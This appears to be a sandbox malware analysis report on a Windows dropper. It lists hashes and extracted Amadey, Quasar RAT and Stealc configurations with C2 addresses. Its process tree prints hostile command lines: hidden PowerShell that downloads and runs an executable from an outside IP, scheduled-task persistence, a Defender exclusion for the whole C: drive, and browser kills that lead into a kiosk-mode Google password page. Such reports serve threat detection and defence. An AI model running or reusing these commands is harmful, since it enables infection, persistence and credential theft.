Overview

overview

10

Static

static

3

a910f73ee1...2c.exe

windows7-x64

10

a910f73ee1...2c.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    135s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250314-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25/03/2025, 06:24

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    a910f73ee1f155ed585016e76cf5532c.exe

  • Size

    1.8MB

  • MD5

    a910f73ee1f155ed585016e76cf5532c

  • SHA1

    6da4a841d64bf75c15e0c2dd0a34fd6b1d2b6411

  • SHA256

    fedcaf57f0459c113cf0b609ec2713b111e50d25d15e321ccaa5dc89d72528e8

  • SHA512

    969e9fb7d3d33efeaee3f6f14374134e175848174efb4f2a3859bc46fd91ba7fc5ec75c5f003674d3922da388a3b62d6e326e338f9f622247d7d255a53a3ee32

  • SSDEEP

    49152:HNGOCYrWWlIYr8RbY4ThJYh3xMETJrnkSRIw4qd/O:IgZG1M3xPJ7kqwqd/O

Score
10/10
amadeyhealerquasarstealc092155telegramtrumpbootkitdefense_evasiondiscoverydropperexecutionpersistencespywarestealertrojan

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Family

amadey

Version

5.21

Botnet

092155

C2

http://176.113.115.6

Attributes
  • install_dir

    bb556cff4a

  • install_file

    rapes.exe

  • strings_key

    a131b127e996a898cd19ffb2d92e481b

  • url_paths

    /Ni9kiput/index.php

rc4.plain

Extracted

Family

quasar

Version

1.3.0.0

Botnet

TELEGRAM

C2

212.56.35.232:101

Mutex

QSR_MUTEX_LoEArEgGuZRG2bQs0E

Attributes
  • encryption_key

    3wNfBQLmJMIJoFOXueXK

  • install_name

    svchost.exe

  • log_directory

    Logs

  • reconnect_delay

    3000

  • startup_key

    svchosta

  • subdirectory

    media

Extracted

Family

stealc

Botnet

trump

C2

http://45.93.20.28

Attributes
  • url_path

    /85a1cacf11314eb8.php

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • Amadey family
    amadey
  • Detects Healer an antivirus disabler dropper 3 IoCs
  • Healer

    Healer an antivirus disabler dropper.

    dropperhealer
  • Healer family
    healer
  • Quasar RAT 3 IoCs

    Quasar is an open source Remote Access Tool.

    trojanspywarequasar
  • Quasar family
    quasar
  • Quasar payload 1 IoCs
  • Stealc

    Stealc is an infostealer written in C++.

    stealerstealc
  • Stealc family
    stealc
  • Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
  • Contacts a large (8223) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 11 IoCs
    defense_evasion
  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Run Powershell and hide display window.

    execution
  • Downloads MZ/PE file 22 IoCs
  • Drops file in Drivers directory 3 IoCs
  • Sets service image path in registry 2 TTPs 7 IoCs
    persistence
  • Checks BIOS information in registry 2 TTPs 22 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 6 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Deletes itself 1 IoCs
  • Drops startup file 1 IoCs
  • Executes dropped EXE 35 IoCs
  • Identifies Wine through registry keys 2 TTPs 11 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    defense_evasion
  • Impair Defenses: Safe Mode Boot 1 TTPs 2 IoCs
    defense_evasion
  • Loads dropped DLL 25 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

    spywarestealer
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Adds Run key to start application 2 TTPs 8 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

    bootkitpersistence
  • AutoIT Executable 2 IoCs

    AutoIT scripts compiled to PE executables.

  • Enumerates processes with tasklist 1 TTPs 1 IoCs
    discovery
  • Suspicious use of NtSetInformationThreadHideFromDebugger 11 IoCs
  • Suspicious use of SetThreadContext 9 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 2 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 44 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Delays execution with timeout.exe 3 IoCs
    defense_evasion
  • Kills process with taskkill 7 IoCs
    defense_evasion
  • Modifies registry class 2 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
    defense_evasionspywaretrojan
  • Scheduled Task/Job: Scheduled Task 1 TTPs 6 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 5 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 53 IoCs
  • Suspicious use of FindShellTrayWindow 7 IoCs
  • Suspicious use of SendNotifyMessage 6 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3548
      • C:\Users\Admin\AppData\Local\Temp\a910f73ee1f155ed585016e76cf5532c.exe
        "C:\Users\Admin\AppData\Local\Temp\a910f73ee1f155ed585016e76cf5532c.exe"
        2⤵
        • Quasar RAT
        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
        • Checks BIOS information in registry
        • Checks computer location settings
        • Identifies Wine through registry keys
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of WriteProcessMemory
        PID:5476
        • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
          "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
          3⤵
          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
          • Downloads MZ/PE file
          • Checks BIOS information in registry
          • Checks computer location settings
          • Executes dropped EXE
          • Identifies Wine through registry keys
          • Adds Run key to start application
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:3452
          • C:\Users\Admin\AppData\Local\Temp\10320830101\844eeb687f.exe
            "C:\Users\Admin\AppData\Local\Temp\10320830101\844eeb687f.exe"
            4⤵
            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
            • Checks BIOS information in registry
            • Executes dropped EXE
            • Identifies Wine through registry keys
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            PID:3536
          • C:\Users\Admin\AppData\Local\Temp\10320920101\iqvtNlb.exe
            "C:\Users\Admin\AppData\Local\Temp\10320920101\iqvtNlb.exe"
            4⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            PID:2868
          • C:\Users\Admin\AppData\Local\Temp\10324120101\01.exe
            "C:\Users\Admin\AppData\Local\Temp\10324120101\01.exe"
            4⤵
            • Checks computer location settings
            • Executes dropped EXE
            • Modifies registry class
            • Suspicious use of WriteProcessMemory
            PID:3996
            • C:\Windows\system32\taskkill.exe
              "taskkill" /f /im pcidrv.exe
              5⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:3648
            • C:\Windows\system32\schtasks.exe
              "schtasks" /create /tn "PCI Bus Driver" /tr C:\Users\Admin\Drivers\busdrv.exe /sc minute /mo 1 /f
              5⤵
              • Scheduled Task/Job: Scheduled Task
              PID:5148
            • C:\Windows\system32\schtasks.exe
              "schtasks" /create /tn "PCI Bus Driver Startup" /tr C:\Users\Admin\Drivers\busdrv.exe /sc onstart /ru SYSTEM /f
              5⤵
              • Scheduled Task/Job: Scheduled Task
              PID:4124
            • C:\Users\Admin\Drivers\busdrv.exe
              "C:\Users\Admin\Drivers\busdrv.exe"
              5⤵
              • Downloads MZ/PE file
              • Executes dropped EXE
              • Suspicious use of WriteProcessMemory
              PID:1648
              • C:\Users\Admin\AppData\Local\Temp\download_807fb6fd5024da68.exe
                "C:\Users\Admin\AppData\Local\Temp\download_807fb6fd5024da68.exe"
                6⤵
                • Checks computer location settings
                • Executes dropped EXE
                • Modifies registry class
                • Suspicious use of WriteProcessMemory
                PID:2156
                • C:\Windows\system32\tasklist.exe
                  "tasklist"
                  7⤵
                  • Enumerates processes with tasklist
                  • Suspicious use of AdjustPrivilegeToken
                  PID:6088
                • C:\Windows\system32\schtasks.exe
                  "schtasks" /create /tn "PCI Bus Driver" /tr C:\Users\Admin\Drivers\pcidrv.exe /sc minute /mo 1 /f
                  7⤵
                  • Scheduled Task/Job: Scheduled Task
                  PID:752
                • C:\Windows\system32\schtasks.exe
                  "schtasks" /create /tn "PCI Bus Driver Startup" /tr C:\Users\Admin\Drivers\pcidrv.exe /sc onstart /ru SYSTEM /f
                  7⤵
                  • Scheduled Task/Job: Scheduled Task
                  PID:3876
                • C:\Users\Admin\Drivers\pcidrv.exe
                  "C:\Users\Admin\Drivers\pcidrv.exe"
                  7⤵
                  • Executes dropped EXE
                  • Modifies system certificate store
                  PID:2308
                • C:\Windows\system32\cmd.exe
                  "cmd" /C timeout /t 2 && del C:\Users\Admin\AppData\Local\Temp\download_807fb6fd5024da68.exe
                  7⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3564
                  • C:\Windows\system32\timeout.exe
                    timeout /t 2
                    8⤵
                    • Delays execution with timeout.exe
                    PID:2612
            • C:\Windows\system32\cmd.exe
              "cmd" /C timeout /t 2 && del C:\Users\Admin\AppData\Local\Temp\10324120101\01.exe
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:404
              • C:\Windows\system32\timeout.exe
                timeout /t 2
                6⤵
                • Delays execution with timeout.exe
                PID:4272
          • C:\Users\Admin\AppData\Local\Temp\10325120101\RTH4oNP.exe
            "C:\Users\Admin\AppData\Local\Temp\10325120101\RTH4oNP.exe"
            4⤵
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Suspicious use of WriteProcessMemory
            PID:4620
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
              5⤵
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              PID:1304
          • C:\Users\Admin\AppData\Local\Temp\10325760101\qQFhOl1.exe
            "C:\Users\Admin\AppData\Local\Temp\10325760101\qQFhOl1.exe"
            4⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Drops startup file
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:2904
          • C:\Users\Admin\AppData\Local\Temp\10328870101\5d8dc0c07d.exe
            "C:\Users\Admin\AppData\Local\Temp\10328870101\5d8dc0c07d.exe"
            4⤵
            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
            • Checks BIOS information in registry
            • Executes dropped EXE
            • Identifies Wine through registry keys
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • Suspicious use of SetThreadContext
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:4276
            • C:\Users\Admin\AppData\Local\Temp\svchost015.exe
              "C:\Users\Admin\AppData\Local\Temp\10328870101\5d8dc0c07d.exe"
              5⤵
              • Downloads MZ/PE file
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:2856
          • C:\Users\Admin\AppData\Local\Temp\10328880101\d156e36d9d.exe
            "C:\Users\Admin\AppData\Local\Temp\10328880101\d156e36d9d.exe"
            4⤵
            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
            • Checks BIOS information in registry
            • Executes dropped EXE
            • Identifies Wine through registry keys
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • Suspicious use of SetThreadContext
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            PID:5560
            • C:\Users\Admin\AppData\Local\Temp\svchost015.exe
              "C:\Users\Admin\AppData\Local\Temp\10328880101\d156e36d9d.exe"
              5⤵
              • Downloads MZ/PE file
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:5456
          • C:\Users\Admin\AppData\Local\Temp\10328890101\5b577e2568.exe
            "C:\Users\Admin\AppData\Local\Temp\10328890101\5b577e2568.exe"
            4⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            • Suspicious use of FindShellTrayWindow
            • Suspicious use of SendNotifyMessage
            PID:2456
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c schtasks /create /tn yxkS9ma0Nck /tr "mshta C:\Users\Admin\AppData\Local\Temp\HncHjuTTw.hta" /sc minute /mo 25 /ru "Admin" /f
              5⤵
              • System Location Discovery: System Language Discovery
              PID:4868
              • C:\Windows\SysWOW64\schtasks.exe
                schtasks /create /tn yxkS9ma0Nck /tr "mshta C:\Users\Admin\AppData\Local\Temp\HncHjuTTw.hta" /sc minute /mo 25 /ru "Admin" /f
                6⤵
                • System Location Discovery: System Language Discovery
                • Scheduled Task/Job: Scheduled Task
                PID:4408
            • C:\Windows\SysWOW64\mshta.exe
              mshta C:\Users\Admin\AppData\Local\Temp\HncHjuTTw.hta
              5⤵
              • Checks computer location settings
              • System Location Discovery: System Language Discovery
              PID:2588
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'ZGBFEZEKBFNHTJHX2J5PUWKRLOM0QLUG.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
                6⤵
                • Blocklisted process makes network request
                • Command and Scripting Interpreter: PowerShell
                • Downloads MZ/PE file
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:4172
                • C:\Users\Admin\AppData\Local\TempZGBFEZEKBFNHTJHX2J5PUWKRLOM0QLUG.EXE
                  "C:\Users\Admin\AppData\Local\TempZGBFEZEKBFNHTJHX2J5PUWKRLOM0QLUG.EXE"
                  7⤵
                  • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                  • Checks BIOS information in registry
                  • Executes dropped EXE
                  • Identifies Wine through registry keys
                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  PID:6392
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\10328900121\am_no.cmd" "
            4⤵
            • System Location Discovery: System Language Discovery
            PID:60
            • C:\Windows\SysWOW64\timeout.exe
              timeout /t 2
              5⤵
              • System Location Discovery: System Language Discovery
              • Delays execution with timeout.exe
              PID:5112
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
              5⤵
              • System Location Discovery: System Language Discovery
              PID:6952
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 9 | ForEach-Object {[char]$_})"
                6⤵
                • Command and Scripting Interpreter: PowerShell
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:6492
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
              5⤵
              • System Location Discovery: System Language Discovery
              PID:6484
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 5 | ForEach-Object {[char]$_})"
                6⤵
                • Command and Scripting Interpreter: PowerShell
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:6404
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
              5⤵
              • System Location Discovery: System Language Discovery
              PID:6368
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                powershell -command "-join ((48..57) + (65..90) + (97..122) | Get-Random -Count 4 | ForEach-Object {[char]$_})"
                6⤵
                • Command and Scripting Interpreter: PowerShell
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:6396
            • C:\Windows\SysWOW64\schtasks.exe
              schtasks /create /tn "pErH2mavlkR" /tr "mshta \"C:\Temp\LpvcoZ31q.hta\"" /sc minute /mo 25 /ru "Admin" /f
              5⤵
              • System Location Discovery: System Language Discovery
              • Scheduled Task/Job: Scheduled Task
              PID:6164
            • C:\Windows\SysWOW64\mshta.exe
              mshta "C:\Temp\LpvcoZ31q.hta"
              5⤵
              • Checks computer location settings
              • System Location Discovery: System Language Discovery
              PID:688
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'\483d2fa8a0d53818306efeb32d3.exe';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
                6⤵
                • Blocklisted process makes network request
                • Command and Scripting Interpreter: PowerShell
                • Downloads MZ/PE file
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:1264
                • C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe
                  "C:\Users\Admin\AppData\Local\Temp\483d2fa8a0d53818306efeb32d3.exe"
                  7⤵
                  • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                  • Checks BIOS information in registry
                  • Executes dropped EXE
                  • Identifies Wine through registry keys
                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  PID:1372
          • C:\Users\Admin\AppData\Local\Temp\10328910101\iqvtNlb.exe
            "C:\Users\Admin\AppData\Local\Temp\10328910101\iqvtNlb.exe"
            4⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            PID:6200
          • C:\Users\Admin\AppData\Local\Temp\10328920101\tK0oYx3.exe
            "C:\Users\Admin\AppData\Local\Temp\10328920101\tK0oYx3.exe"
            4⤵
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            PID:6212
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
              5⤵
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              PID:5808
          • C:\Users\Admin\AppData\Local\Temp\10328930101\xu5e1_003.exe
            "C:\Users\Admin\AppData\Local\Temp\10328930101\xu5e1_003.exe"
            4⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: MapViewOfSection
            PID:4452
            • C:\Windows\SYSTEM32\cmd.exe
              cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath 'C:'
              5⤵
                PID:2420
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell.exe Add-MpPreference -ExclusionPath 'C:'
                  6⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4396
              • C:\Windows\system32\svchost.exe
                "C:\Windows\system32\svchost.exe"
                5⤵
                • Downloads MZ/PE file
                • Adds Run key to start application
                PID:6072
                • C:\ProgramData\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\tzutil.exe
                  "C:\ProgramData\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\tzutil.exe" ""
                  6⤵
                  • Sets service image path in registry
                  • Executes dropped EXE
                  • Suspicious behavior: LoadsDriver
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1440
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    powershell Remove-MpPreference -ExclusionPath C:\
                    7⤵
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:6936
                • C:\Users\Admin\AppData\Local\Temp\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\w32tm.exe
                  "C:\Users\Admin\AppData\Local\Temp\\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\w32tm.exe" ""
                  6⤵
                  • Deletes itself
                  • Executes dropped EXE
                  PID:4424
                  • C:\Users\Admin\AppData\Local\Temp\{3c4e5211-816b-497f-a023-2aabc919cb71}\1ab149dc.exe
                    "C:\Users\Admin\AppData\Local\Temp\{3c4e5211-816b-497f-a023-2aabc919cb71}\1ab149dc.exe" -accepteula -adinsilent -silent -processlevel 2 -postboot
                    7⤵
                    • Executes dropped EXE
                    • Checks for VirtualBox DLLs, possible anti-VM trick
                    • System Location Discovery: System Language Discovery
                    PID:7972
                    • C:\Users\Admin\AppData\Local\Temp\{0ce3d9b0-aa83-4522-8501-aaab05904cda}\0ff9cf46.exe
                      C:/Users/Admin/AppData/Local/Temp/{0ce3d9b0-aa83-4522-8501-aaab05904cda}/\0ff9cf46.exe -accepteula -adinsilent -silent -processlevel 2 -postboot
                      8⤵
                      • Drops file in Drivers directory
                      • Sets service image path in registry
                      • Executes dropped EXE
                      • Impair Defenses: Safe Mode Boot
                      • Loads dropped DLL
                      • Adds Run key to start application
                      • Enumerates connected drives
                      • Writes to the Master Boot Record (MBR)
                      • Checks for VirtualBox DLLs, possible anti-VM trick
                      • System Location Discovery: System Language Discovery
                      • Suspicious behavior: LoadsDriver
                      • Suspicious use of AdjustPrivilegeToken
                      PID:9456
            • C:\Users\Admin\AppData\Local\Temp\10328940101\RTH4oNP.exe
              "C:\Users\Admin\AppData\Local\Temp\10328940101\RTH4oNP.exe"
              4⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              PID:6740
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                5⤵
                  PID:3084
                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                  5⤵
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  PID:1092
              • C:\Users\Admin\AppData\Local\Temp\10328960101\01.exe
                "C:\Users\Admin\AppData\Local\Temp\10328960101\01.exe"
                4⤵
                • Executes dropped EXE
                PID:6944
                • C:\Windows\system32\taskkill.exe
                  "taskkill" /f /im pcidrv.exe
                  5⤵
                  • Kills process with taskkill
                  • Suspicious use of AdjustPrivilegeToken
                  PID:6896
              • C:\Users\Admin\AppData\Local\Temp\10328970101\OkH8IPF.exe
                "C:\Users\Admin\AppData\Local\Temp\10328970101\OkH8IPF.exe"
                4⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                PID:6324
                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                  5⤵
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  PID:4740
              • C:\Users\Admin\AppData\Local\Temp\10328980101\qQFhOl1.exe
                "C:\Users\Admin\AppData\Local\Temp\10328980101\qQFhOl1.exe"
                4⤵
                • Suspicious use of NtCreateUserProcessOtherParentProcess
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:7284
              • C:\Users\Admin\AppData\Local\Temp\10328990101\d2c2d62ab1.exe
                "C:\Users\Admin\AppData\Local\Temp\10328990101\d2c2d62ab1.exe"
                4⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                PID:7896
                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                  5⤵
                    PID:8012
                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                    5⤵
                    • System Location Discovery: System Language Discovery
                    PID:8040
                • C:\Users\Admin\AppData\Local\Temp\10329000101\b2cae45d85.exe
                  "C:\Users\Admin\AppData\Local\Temp\10329000101\b2cae45d85.exe"
                  4⤵
                  • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                  • Checks BIOS information in registry
                  • Executes dropped EXE
                  • Identifies Wine through registry keys
                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                  • System Location Discovery: System Language Discovery
                  PID:10148
                • C:\Users\Admin\AppData\Local\Temp\10329010101\bfb32a0700.exe
                  "C:\Users\Admin\AppData\Local\Temp\10329010101\bfb32a0700.exe"
                  4⤵
                  • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                  • Checks BIOS information in registry
                  • Executes dropped EXE
                  • Identifies Wine through registry keys
                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                  • System Location Discovery: System Language Discovery
                  PID:12692
                • C:\Users\Admin\AppData\Local\Temp\10329020101\6c8fb0ab10.exe
                  "C:\Users\Admin\AppData\Local\Temp\10329020101\6c8fb0ab10.exe"
                  4⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of FindShellTrayWindow
                  • Suspicious use of SendNotifyMessage
                  PID:6660
                  • C:\Windows\SysWOW64\taskkill.exe
                    taskkill /F /IM firefox.exe /T
                    5⤵
                    • Kills process with taskkill
                    PID:13188
                  • C:\Windows\SysWOW64\taskkill.exe
                    taskkill /F /IM chrome.exe /T
                    5⤵
                    • Kills process with taskkill
                    PID:13380
                  • C:\Windows\SysWOW64\taskkill.exe
                    taskkill /F /IM msedge.exe /T
                    5⤵
                    • Kills process with taskkill
                    PID:13728
                  • C:\Windows\SysWOW64\taskkill.exe
                    taskkill /F /IM opera.exe /T
                    5⤵
                    • Kills process with taskkill
                    PID:13956
                  • C:\Windows\SysWOW64\taskkill.exe
                    taskkill /F /IM brave.exe /T
                    5⤵
                    • Kills process with taskkill
                    PID:14080
                  • C:\Program Files\Mozilla Firefox\firefox.exe
                    "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
                    5⤵
                      PID:10376
                      • C:\Program Files\Mozilla Firefox\firefox.exe
                        "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
                        6⤵
                          PID:3516
                          • C:\Program Files\Mozilla Firefox\firefox.exe
                            "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 1956 -prefsLen 27099 -prefMapHandle 1960 -prefMapSize 270279 -ipcHandle 2044 -initialChannelId {1995ecdc-722e-47ee-b2b4-73a36d1f9a7e} -parentPid 3516 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3516" -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 gpu
                            7⤵
                              PID:7044
                            • C:\Program Files\Mozilla Firefox\firefox.exe
                              "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2492 -prefsLen 27135 -prefMapHandle 2496 -prefMapSize 270279 -ipcHandle 2504 -initialChannelId {fd2a764e-884a-4c99-92f7-ebcf9ff69d8f} -parentPid 3516 -crashReporter "\\.\pipe\gecko-crash-server-pipe.3516" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 socket
                              7⤵
                                PID:6440
